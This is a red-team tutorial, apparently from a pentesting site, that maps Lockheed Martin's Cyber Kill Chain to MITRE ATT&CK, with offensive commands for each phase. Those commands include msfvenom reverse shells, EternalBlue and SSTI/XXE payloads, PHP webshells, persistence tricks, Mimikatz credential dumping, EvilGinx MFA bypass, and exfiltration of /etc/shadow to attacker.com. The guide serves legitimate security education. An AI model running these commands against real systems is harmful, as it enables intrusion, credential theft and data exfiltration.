guides-resources

Cyber ​​Kill Chain: What It Is, 7 Phases, and Pentesting Tools

Cyber ​​Kill Chain: What It Is, 7 Phases, and Pentesting Tools

Discover what the Cyber ​​Kill Chain is: the 7 phases of an attack, pentesting and red team tools, MITRE ATT&CK mapping, and the Unified Kill Chain.

  • Posted on 2026-07-21
  • Reading time: 13 min

Cyber ​​Kill Chain: The 7 Phases of an Attack and How to Map Them in a Pentest #

The Cyber ​​Kill Chain is Lockheed Martin's framework that describes the phases of a cyber attack, from initial reconnaissance to the final objective. It's not theory: it's the mental framework a red team uses to plan an engagement and a blue team uses to understand where it failed.

This guide shows you each step with real-world tools used in authorized testing environments, how to map it to MITRE ATT&CK, and how to use it in practice to structure a pentest.

What you find here:

  • The 7 phases with offensive tools for each
  • Direct mapping MITRE ATT&CK tactics by phase
  • Difference with Unified Kill Chain
  • How to Structure a Kill Chain Pentest
  • Detection and OPSEC for each phase
  • Cheat sheet and FAQ

1. What is the Cyber ​​Kill Chain and why does it matter? #

Lockheed Martin published the Cyber ​​Kill Chain in 2011, adapting the military "kill chain" concept to the cyber domain. The basic idea: every attack follows a predictable sequence. If the chain is interrupted at any point, the attack fails.

The 7 phases:

#PhaseAttacker's goal
1RecognitionGather information about the target
2WeaponisationCreate the attack vector
3DeliveryDeliver the payload to the target
4ExploitationExploiting the vulnerability
5InstallationEstablish persistent access
6Command & ControlMaintain remote control
7Actions on ObjectivesReaching the final goal

Why it matters to a pentester: The Kill Chain provides a framework for documenting an engagement, communicating with the customer, and identifying where defenses failed. A finding of "RCE on web app" is more useful as a "breach at the point Delivery → Exploitation → Installation completed before detection."

Main limitation: The Kill Chain is linear. Real attacks aren't—they often backtrack, skip phases, and operate on multiple chains in parallel. That's why MITRE ATT&CK exists (see section 9).


2. Phase 1 — Reconnaissance #

The attacker gathers information before touching any system. There are two types:

  • Passive recon: no direct interaction with the target — public sources, OSINT
  • Active recon: direct interaction — scan, probe, enumeration

Passive Recon — Tools and Techniques #

bash
# WHOIS — registrar, contatti tecnici, date di registrazione
whois target.com

# DNS — sottodomini, record MX, NS, TXT (spesso rivelano infrastruttura)
dig target.com ANY
dig +short MX target.com
dig +short TXT target.com        # SPF, DMARC → rivela provider email
host -t ns target.com

# Certificate Transparency — sottodomini via SSL cert logs
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# theHarvester — email, sottodomini, IP da motori pubblici
theHarvester -d target.com -b google,bing,linkedin,yahoo -l 500

# Shodan — host esposti, servizi, versioni, banner
shodan search "org:target.com"
shodan search "hostname:target.com" --fields ip_str,port,transport
shodan host 1.2.3.4

# Google Dorks — file esposti, login panel, version disclosure
site:target.com filetype:pdf
site:target.com intitle:"index of"
site:target.com inurl:admin
site:target.com filetype:env OR filetype:conf OR filetype:log

# LinkedIn — struttura organizzativa, stack tecnologico (job listings)
# GitHub — codice, credenziali, chiavi API esposte
github.com/search?q=target.com+password&type=code
github.com/search?q=target.com+api_key&type=code

Active Recon — tools and techniques #

bash
# Nmap — host discovery e port scan iniziale
nmap -sn 10.10.10.0/24                        # ping sweep
nmap -sS -sV -p- --min-rate 5000 10.10.10.5   # full TCP stealth scan
nmap -sU -p 53,67,68,69,123,161,500 10.10.10.5  # UDP scan porte chiave
nmap -sV --script=banner 10.10.10.5             # banner grabbing

# Enumerazione DNS attiva
dnsenum target.com
dnsrecon -d target.com -t axfr     # tenta zone transfer
fierce --domain target.com          # brute force sottodomini

# Web fingerprinting
whatweb https://target.com
wappalyzer (browser extension)
curl -I https://target.com          # header HTTP → Server, X-Powered-By, framework

# Enumerazione WAF
wafw00f https://target.com

# Directory e path discovery
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u https://target.com -w raft-medium-directories.txt

# OSINT AD (se hai contesto aziendale)
# Cercare email aziendali per spray successivo
hunter.io, email-format.com

Expected output from a good recon:

text
Target: target.com
IP range: 1.2.3.0/24
Sottodomini trovati: vpn.target.com, mail.target.com, dev.target.com, staging.target.com
Stack: IIS 10.0, ASP.NET, Windows Server 2019
Tecnologie: Office 365, Cloudflare, Jira (job listing)
Email pattern: firstname.lastname@target.com
Dipendenti LinkedIn: IT Manager (Stack: Cisco, Windows AD), Dev (Stack: .NET, Azure)
Porte aperte: 80, 443, 22 (staging), 3389 (RDP su staging — nessun VPN)

OPSEC: Passive recon leaves zero traces. Active recon leaves logs on IDS/IPS. In a realistic red team engagement, do passive first—only go active once the perimeter is clear.

MITRE ATT&CK mapping:

  • T1595 — Active Scanning
  • T1596 — Search Open Technical Databases
  • T1597 — Search Closed Sources
  • T1598 — Phishing for Information

3. Phase 2 — Weaponization #

The attacker doesn't touch the target at this stage—they prepare the attack vector based on what they found in the recon. In a pentest, this corresponds to preparing the infrastructure and payloads before the engagement.

What is built in this phase #

ArtifacttoolDescription
Payload executablemsfvenom, Havoc, SliverReverse shell, beacon C2
Malicious documentOffice macros, CVE-recentInitial access via phishing
Custom Exploitsearchsploit, GitHub PoCFor CVEs identified in recon
C2 InfrastructureCobalt Strike, Sliver, HavocCommand and control server
Redirect chainApache mod_rewrite, NginxHide real C2 behind redirector
SSL Certificate for C2Let's Encrypt + similar domainC2 mimics legitimate HTTPS traffic

Creating payload with msfvenom #

bash
# Reverse shell Windows — exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 \
  -f exe -o payload.exe

# Staged vs stageless
# Staged: piccolo downloader → scarica il payload dal C2 al momento dell'esecuzione
msfvenom -p windows/x64/meterpreter/reverse_tcp ...   # staged (/)
# Stageless: payload completo embedded → più affidabile, più grande
msfvenom -p windows/x64/meterpreter_reverse_tcp ...   # stageless (_)

# DLL injection payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 \
  -f dll -o inject.dll

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 \
  -f psh-reflection -o shell.ps1

# Linux reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 \
  -f elf -o shell.elf

# Encoder (evasione AV base)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 \
  -e x64/xor_dynamic -i 10 -f exe -o encoded.exe

OPSEC Note: msfvenom with a basic encoder is detected by any modern AV. For EDR environments, use more advanced frameworks (Sliver, Havoc) or custom payloads with custom shellcode loaders.

MITRE ATT&CK mapping:

  • T1587.001 — Develop Capabilities: Malware
  • T1583 — Acquire Infrastructure
  • T1608 — Internship Capabilities

4. Phase 3 — Delivery #

The attack vector is delivered to the target. The most common vector in real-world contexts is phishing. In a pentest, it depends on the scope—it may include simulated phishing, exploitation of exposed services, or physical access.

Main delivery vectors #

CarrierReal frequencytool
Phishing email with attachmentHighGoPhish, SET, King Phisher
Phishing with links (credential harvest)HighGoPhish, EvilGinx2
Exploitation service exposedHighMetasploit, custom exploit
USB dropMedia (physical red team)SET, custom payload
Watering holeLow (APT)Exploit kit
Supply ChainLow (APT)

GoPhish — simulated phishing campaign #

bash
# Installazione
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish*.zip && chmod +x gophish
./gophish
# Accedi su https://localhost:3333 con admin:gophish

# Struttura campagna GoPhish:
# 1. Sending Profile → SMTP server configurato
# 2. Landing Page → clone della login page target
# 3. Email Template → email di phishing con link tracking
# 4. Users & Groups → lista target importata da CSV
# 5. Campaign → collega tutto e lancia

EvilGinx2 — adversary-in-the-middle for MFA bypass #

bash
# Cattura cookie di sessione validi anche con 2FA attivo
# Il target vede il vero sito — EvilGinx è in mezzo come proxy

git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make
./evilginx2 -p ./phishlets/

# Configura phishlet (es. Microsoft O365)
phishlets hostname o365 login.target.com
phishlets enable o365
lures create o365
lures get-url 0
# → URL da mandare al target

Direct exploitation of exposed services (alternative delivery) #

bash
# Se la recon ha trovato servizi vulnerabili, il delivery è diretto
# Esempio: EternalBlue su SMB
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.1
run

# Esempio: exploit web app → RCE → shell
# Il "delivery" in questo caso è la richiesta HTTP malevola

MITRE ATT&CK mapping:

  • T1566 — Phishing
  • T1190 — Public-Facing Application Exploit
  • T1091 — Replication Through Removable Media

5. Phase 4 — Exploitation #

The payload is executed and the vulnerability is exploited. In a web application pentest, this is when the payload (SQLi, XSS, RCE, SSRF) gets the result. In a network pentest, this is when the exploit executes code on the target system.

Web exploitation — key vectors #

bash
# SQL Injection → RCE su MSSQL
# (vedi guida completa: /articoli/porta-1433-mssql)
'; EXEC master..xp_cmdshell 'whoami';-- -

# RCE via upload file non filtrato
# Upload webshell PHP → esecuzione comandi OS
curl -X POST https://target.com/upload -F "file=@shell.php"
curl "https://target.com/uploads/shell.php?cmd=id"

# SSTI → RCE (Jinja2)
{{7*7}} → 49 confermato → {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# XXE → file read / SSRF
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

# Deserialization → RCE
# Dipende dal linguaggio/framework — vedi /articoli/deserialization-attack

Network Exploitation — Metasploit #

bash
# Cerca exploit per versione trovata in recon
searchsploit "Apache 2.4.49"
searchsploit -m path/to/exploit.py

# Metasploit — exploit diretto
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS 10.10.10.5
set LHOST 10.10.14.1
run

# Verifica post-exploitation immediata
getuid
sysinfo
getpid

Immediate (in-session) post-exploitation checklist #

bash
# Chi sei?
whoami && whoami /priv
id                         # Linux

# Dove sei?
hostname
ipconfig /all              # Windows
ip addr                    # Linux

# Difese attive?
tasklist | findstr -i "defender av edr xdr"    # Windows
ps aux | grep -i "falco sentinel crowdstrike"  # Linux

# Cosa puoi fare subito?
net user /domain           # AD access?
cat /etc/shadow            # Linux root?

MITRE ATT&CK mapping:

  • T1203 — Exploitation for Client Execution
  • T1190 — Public-Facing Application Exploit
  • T1059 — Command and Scripting Interpreter

6. Phase 5 — Installation #

Access gained in the Exploitation phase is temporary. During this phase, the attacker installs a persistent mechanism to maintain access even after a reboot or if the session is terminated.

Windows Persistence — LOLBins first #

powershell
# Registry Run key (utente corrente — no admin richiesto)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ \
  /d "C:\Users\user\AppData\Local\payload.exe" /f

# Scheduled Task (admin richiesto per SYSTEM, ma non per utente corrente)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" \
  /sc onlogon /ru SYSTEM /f

# WMI Event Subscription (più stealth, sopravvive a tool come autoruns)
# Richiede admin
$filter = Set-WMIInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
  Name = "SystemEventFilter"
  EventNamespace = "root\cimv2"
  QueryLanguage = "WQL"
  Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Seconds=0"
}

# Startup folder (utente corrente — no admin)
copy payload.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# DLL Hijacking — vedere /articoli/dll-search-order-hijacking

Linux Persistence #

bash
# Crontab (utente corrente)
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.update") | crontab -

# SSH authorized_keys
echo "ssh-rsa AAAA..." >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys

# /etc/crontab (root richiesto)
echo "*/5 * * * * root /tmp/.systemd-update" >> /etc/crontab

# Systemd service (root richiesto — più stealth di crontab)
cat > /etc/systemd/system/system-update.service << EOF
[Unit]
Description=System Update
[Service]
ExecStart=/tmp/.update
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update --now

# SUID su binario controllabile
chmod u+s /usr/local/bin/myscript

Webshell — persistence on web servers #

php
<?php system($_GET['c']); ?>
bash
# Upload e verifica
curl "https://target.com/uploads/update.php?c=id"
# → uid=33(www-data)

# Webshell più evasiva (base64 + eval)
<?php eval(base64_decode($_POST['x'])); ?>
curl -X POST "https://target.com/uploads/update.php" --data "x=$(echo 'system("id");' | base64)"

OPSEC: The noisiest persistences are Registry Run and Startup folder—monitored by almost all EDRs. The stealthiest are WMI subscription (Windows) and systemd (Linux). Always verify what's running on the host before installing persistence.

MITRE ATT&CK mapping:

  • T1053 — Scheduled Task/Job
  • T1547 — Boot or Logon Autostart Execution
  • T1505.003 — Web Shell
  • T1543 — Create or Modify System Process

7. Phase 6 — Command & Control (C2) #

The attacker establishes a remote communication channel to the compromised host. Modern C2s use legitimate protocols (HTTPS, DNS, ICMP) to camouflage themselves as normal traffic.

Main C2 Frameworks #

FrameworkBeacon languageEDR EvasionNote
MetasploitmeterpreterBassaStandards for CTF and lab
Cobalt StrikeBeacon (malleable C2)HighUsed by APT and red teams
SliverGo implantHighOpen source, CS alternative
HavocDemon implantHighOpen source, modern
Brute RatelBadgerVery highExpensive, widely used by APT

Metasploit — C2 handler #

bash
# Listener Meterpreter
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.1
set LPORT 4444
set ExitOnSession false    # non chiude il handler dopo la prima sessione
run -j                     # esegui in background

# Comandi Meterpreter post-shell
sessions -l                # lista sessioni
sessions -i 1              # interagisce con sessione 1
background                 # mette in background la sessione corrente

# Post exploitation dal handler
getsystem                  # tenta privesc automatico
hashdump                   # dump hash SAM (richiede SYSTEM)
upload /path/tool.exe C:\\Windows\\Temp\\tool.exe
download C:\\Users\\user\\secret.docx /tmp/
portfwd add -l 1234 -p 3389 -r 192.168.1.1   # port forwarding interno

C2 over HTTPS with legitimate certificate #

bash
# L'obiettivo è far sembrare il traffico C2 normale HTTPS
# 1. Registra un dominio simile al target o a un servizio legittimo
# 2. Let's Encrypt per cert SSL valido
# 3. Usa un redirector (VPS intermedio) che gira mod_rewrite

# Apache redirector — inoltra solo traffico beacon, blocca scanner/blue team
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (compatible; Cobalt Strike)" [NC]
RewriteRule ^.*$ https://c2.real.server%{REQUEST_URI} [P,L]
RewriteRule ^.*$ https://google.com/ [L,R=302]

DNS C2 — data tunnel via DNS query #

bash
# dnscat2 — comunicazione C2 via query DNS TXT
# Utile quando tutto il traffico HTTP/HTTPS è bloccato ma DNS è aperto
# Server (attaccante)
ruby dnscat2.rb --dns "host=ns1.attacker.com,port=53" --secret=mysecret

# Client (target)
./dnscat --dns "server=ns1.attacker.com" --secret=mysecret

MITRE ATT&CK mapping:

  • T1071 — Application Layer Protocol
  • T1090 — Proxy
  • T1572 — Protocol Tunneling
  • T1571 — Non-Standard Port

8. Phase 7 — Actions on Objectives #

The final objective depends on the engagement: sensitive data, long-term persistence, domain admin, disruption. In a pentest, this phase demonstrates the true impact of the attack.

Typical objectives in a pentest #

TargetTechnologytool
Dump credentialsLSASS, SAM, NTDSMimikatz, secretsdump
Domain AdminPrivilege escalation + AD exploitationBloodHound, Impacket
Exfiltration dateLocal files, DB, email7zip, scp, curl
Lateral movementPass-the-Hash, Pass-the-TicketCrackMapExec, evil-winrm
Ransomware simulationEncrypt file sampleCustom script
Long-term persistenceGolden Ticket, backdoor ADImpacket, Mimikatz

Credential dumping #

powershell
# Mimikatz — dump LSASS
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Secretsdump via rete (da Kali)
secretsdump.py -just-dc corp.local/administrator:Password123@10.10.10.5
secretsdump.py -hashes :NThash corp.local/administrator@10.10.10.5

# SAM dump locale (richiede SYSTEM)
reg save hklm\sam sam.bak
reg save hklm\system system.bak
# poi secretsdump.py -sam sam.bak -system system.bak LOCAL

Lateral movement #

bash
# Pass-the-Hash — accesso con hash senza password in chiaro
nxc smb 10.10.10.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:hash --shares
evil-winrm -i 10.10.10.5 -u Administrator -H NThash

# Pass-the-Ticket — Kerberos
getTGT.py corp.local/user:Password123
export KRB5CCNAME=user.ccache
psexec.py -k -no-pass corp.local/user@target.corp.local

exfiltration #

bash
# DNS exfiltration (bypass data loss prevention)
for chunk in $(cat secret.txt | base64 | fold -w 30); do
  dig ${chunk}.exfil.attacker.com @attacker.com
done

# HTTPS upload verso server attaccante
curl -X POST https://attacker.com/upload -F "file=@/etc/shadow"

# SMB verso share controllata
copy C:\Users\user\Documents\*.docx \\10.10.14.1\share\

MITRE ATT&CK mapping:

  • T1003 — OS Credential Dumping
  • T1021 — Remote Services
  • T1048 — Exfiltration Over Alternative Protocol
  • T1078 — Valid Accounts

9. Kill Chain vs MITER ATT&CK: operational differences #

FeatureCyber ​​Kill ChainMITRE ATT & CK
StructureLinear, 7 phasesNon-linear, 14 tactics
GranularityHigh (phase)Very high (technical/sub-technical)
UpdatesStatic since 2011Continuously updated
Main useNarrative of the attackMapping specific TTPs
CoverageExternal → internalAll phases + cloud + mobile
ReferenceLockheed MartinMITER Corporation

How to use them together:

text
Kill Chain → struttura il "cosa è successo" e "dove nella progressione"
MITRE ATT&CK → spiega "come esattamente" con TTP ID specifici

Esempio in un report:
"Fase Delivery (Kill Chain 3) realizzata tramite T1566.002 — Spear Phishing Link,
consegnando un T1204.001 — Malicious Link verso pagina con exploit CVE-2024-XXXX."

Mapping Kill Chain → MITER ATT&CK Tactics:

Kill ChainMITRE ATT&CK Tactics
RecognitionRecognition
WeaponisationResource Development
DeliveryInitial access
ExploitationExecution, Credential Access
InstallationPersistence, Defense Evasion
C2Command and control
Actions on ObjectivesDiscovery, Lateral Movement, Exfiltration, Impact

10. Unified Kill Chain #

Paul Pols released Unified Kill Chain in 2017 to overcome the main limitation of the original Kill Chain: linearity.

The Unified Kill Chain has 18 phases grouped into 3 macro-areas:

text
IN (Initial Foothold)
─────────────────────
Reconnaissance → Resource Development → Delivery → Social Engineering →
Exploitation → Persistence → Defense Evasion → Command & Control

THROUGH (Network Propagation)
─────────────────────────────
Pivoting → Discovery → Privilege Escalation → Execution →
Credential Access → Lateral Movement

OUT (Action on Objectives)
──────────────────────────
Collection → Exfiltration → Impact → Objectives

When to use it: For complex engagements with subnet pivots, multiple system compromises, and multiple targets. It better describes a real-world operation than the linear Kill Chain.


11. How to Structure a Kill Chain Pentest #

The Kill Chain isn’t just for explaining attacks to customers — it’s a practical tool for planning and tracking engagement.

Engagement Templates #

text
FASE 1 — RECONNAISSANCE
Scope: [IP, domini, OSINT allowed?]
Tool: theHarvester, nmap, Shodan, crt.sh
Output: lista host, porte aperte, stack, email, sottodomini

FASE 2 — WEAPONIZATION
Payload: [tipo, framework C2]
Infrastruttura: [VPS, dominio, cert SSL]
Vettore scelto: [phishing / exploit diretto / credenziali deboli]

FASE 3 — DELIVERY
Metodo: [phishing / exploitation diretta]
Data/ora: [concordata con cliente se engagement con preavviso]

FASE 4 — EXPLOITATION
Target: [host o app vulnerabile]
CVE/vulnerabilità: [riferimento specifico]
Risultato: [shell su X, accesso a DB Y]

FASE 5 — INSTALLATION
Persistenza installata: [meccanismo]
Tempo rilevamento: [quanto prima che la difesa reagisca, se mai]

FASE 6 — C2
Framework: [Metasploit/Sliver/Havoc]
Beacon interval: [quanto spesso fa check-in]
Rilevato da difesa: [sì/no/quando]

FASE 7 — ACTIONS ON OBJECTIVES
Raggiunto: [DA/dati/impatto simulato]
Tempo totale: [dalla prima sessione all'obiettivo]
Detection rate: [quante delle azioni sono state rilevate]

How to measure the success of the blue team #

text
Chain interrotta alla Fase 1 → Ottima detection passiva (threat intel, OSINT monitoring)
Chain interrotta alla Fase 3 → Buon email filtering / WAF
Chain interrotta alla Fase 4 → Buon patch management e vulnerability management
Chain interrotta alla Fase 5 → Buon EDR/AV con detection comportamentale
Chain interrotta alla Fase 6 → Network monitoring efficace
Chain non interrotta → Obiettivo raggiunto — report critico

12. Tools per phase — complete summary #

PhaseOpen source toolCommercial tool
Recognitionnmap, theHarvester, Shodan, dnsrecon, gobusterSpiderFoot Pro
Weaponisationmsfvenom, Sliver, HavocCobalt Strike
DeliveryGoPhish, SET, EvilGinx2Cobalt Strike phishing
ExploitationMetasploit, searchsploit, custom exploitCore Impact, Canvas
Installationnative LOLBins, impacket
C2Metasploit, Sliver, Havoc, dnscat2Cobalt Strike, Brute Ratel
Actions on Obj.Mimikatz, CrackMapExec, BloodHound, nxc

13. Operational path #

text
1. RECONNAISSANCE
   └─ Passive: theHarvester, crt.sh, Shodan, Google dorks, LinkedIn, GitHub
   └─ Active: nmap, dnsrecon, gobuster, whatweb
   └─ Output: attack surface mappa completa

2. WEAPONIZATION
   └─ Scegli vettore in base alla recon (phishing, exploit diretto, credenziali)
   └─ Prepara payload e infrastruttura C2
   └─ Test in isolamento prima del delivery

3. DELIVERY
   └─ Phishing: GoPhish / EvilGinx2
   └─ Exploitation diretta: Metasploit / exploit custom
   └─ Documenta data/ora/metodo per il report

4. EXPLOITATION
   └─ Esegui → verifica shell → whoami, sysinfo, getpid
   └─ Screenshot proof of exploitation

5. INSTALLATION
   └─ LOLBins first (scheduled task, reg key, startup folder)
   └─ Verifica persistenza sopravvive a reboot
   └─ Documenta meccanismo per remediation cliente

6. C2
   └─ Stabilisci canale → verifica beacon check-in
   └─ Test exfiltration su porta comune (443, 80, 53)
   └─ Nota se detection si attiva

7. OBJECTIVES
   └─ Credential dump → lateral movement → escalation → DA
   └─ Simula impact (no distruzione reale)
   └─ Documentazione completa TTP per report

8. REPORT
   └─ Mappa ogni azione a Kill Chain fase + MITRE ATT&CK TTP ID
   └─ Includi timeline con timestamp
   └─ Evidenzia dove la difesa avrebbe potuto interrompere la chain

14. Troubleshooting #

ProblemCauseSolution
Shell Falls After DeliveryOutbound firewall blocks portTry port 443, 80, 53 (DNS)
C2 detected immediatelyKnown framework signatureUse Sliver/Havoc, edit malleable beacons
Persistence lost on rebootMechanism removed from EDRTry a different method (WMI, DLL hijack)
Recon active IP blockIDS/WAF rate limitingReduce scan speed, use proxy chain
Phishing filteredEmail security gatewayUse aged domain, correct SPF/DKIM/DMARC
Actions blocked by EDRBehavioral DetectionLOLBins, BYOD (Bring Your Own Driver)

15. FAQ #

Is the Kill Chain obsolete? Not for practical reporting and communication purposes. For technical analysis of TTPs, use MITRE ATT&CK. To explain an engagement to a CISO, use the Kill Chain—it's more intuitive.

Does every attack follow the 7 phases in order? No. The phases overlap, they repeat (e.g., lateral movement = new mini-kill chain for each host), and some are skipped (e.g., if you have valid credentials, Delivery and Exploitation collapse into a single action).

Can I use the Kill Chain for a web app pentest? Yes. Recon (asset discovery, tech stack), Weaponization (SQLi/XSS/RCE payload), Delivery (HTTP request), Exploitation (vulnerability), Installation (webshell), C2 (reverse connection), Actions (DB dump, LFI on /etc/passwd).

What do I write in the report when the kill chain is complete? Include: a complete timeline with timestamps, each action mapped to MITRE ATT&CK ID, screenshots of proof, the stage where the defense could have interrupted the chain, and specific recommendations for each missed breakpoint.

Unified Kill Chain or Classic Kill Chain? For simple engagements (single target, no pivots), use the classic one—it's clearer. For red teams with pivots across multiple subnets and complex targets, use Unified Kill Chain.


16. Final Cheat Sheet #

text
=== 7 FASI ===
1. Reconnaissance   → passive (OSINT) + active (nmap, gobuster)
2. Weaponization    → msfvenom, Sliver, Havoc + infrastruttura C2
3. Delivery         → GoPhish, EvilGinx2, exploit diretto, credenziali deboli
4. Exploitation     → Metasploit, exploit custom, SQLi/RCE/SSTI
5. Installation     → scheduled task, reg run key, webshell, crontab
6. C2               → Meterpreter, Sliver beacon, dnscat2
7. Actions          → credential dump, lateral movement, DA, exfiltration

=== TOOL PER FASE ===
Recon passive:   theHarvester -d target.com -b google,linkedin
Recon DNS:       dnsrecon -d target.com -t axfr
Recon cert:      curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
Port scan:       nmap -sS -sV -p- --min-rate 5000 TARGET
Payload:         msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe
Phishing:        gophish → /var/www/gophish/
AiTM:            evilginx2 → cattura cookie post-MFA
C2 handler:      use exploit/multi/handler → run -j
Persistence:     schtasks /create /tn "X" /tr "payload.exe" /sc onlogon /ru SYSTEM
Cred dump:       secretsdump.py -just-dc corp.local/admin:pass@DC_IP
Lateral:         nxc smb subnet -u admin -H hash --sam
DA check:        nxc smb DC_IP -u admin -H hash --shares → [+] (Pwn3d!)

=== KILL CHAIN vs MITRE ATT&CK ===
Recon        → Reconnaissance
Weaponization → Resource Development
Delivery     → Initial Access
Exploitation → Execution + Credential Access
Installation → Persistence + Defense Evasion
C2           → Command and Control
Objectives   → Discovery + Lateral Movement + Exfiltration + Impact

=== REPORT FORMAT PER FINDING ===
"Fase [N] — [Nome fase]: [Azione]
MITRE: [Txxxx.xxx] — [Nome tecnica]
Tool: [tool usato]
Risultato: [cosa è stato ottenuto]
Detection: [rilevato / non rilevato]
Remediation: [come interrompere la chain qui]"

=== OPSEC ===
Fase 1: passive first, active solo quando necessario
Fase 3: dominio aged (>30 gg), SPF+DKIM+DMARC configurati
Fase 5: LOLBins first, no dropper se EDR attivo
Fase 6: porta 443, beacon interval alto (>60s), malleable C2
Fase 7: no copia massiva di file, no comandi ad alto rumore

Related guides on hackita.it:

For use in authorized environments only.

#red-team #methodology

#cyberkillchain #redteam #MITRE ATT&CK #unifiedkillchain

leave a message

I'm not a robot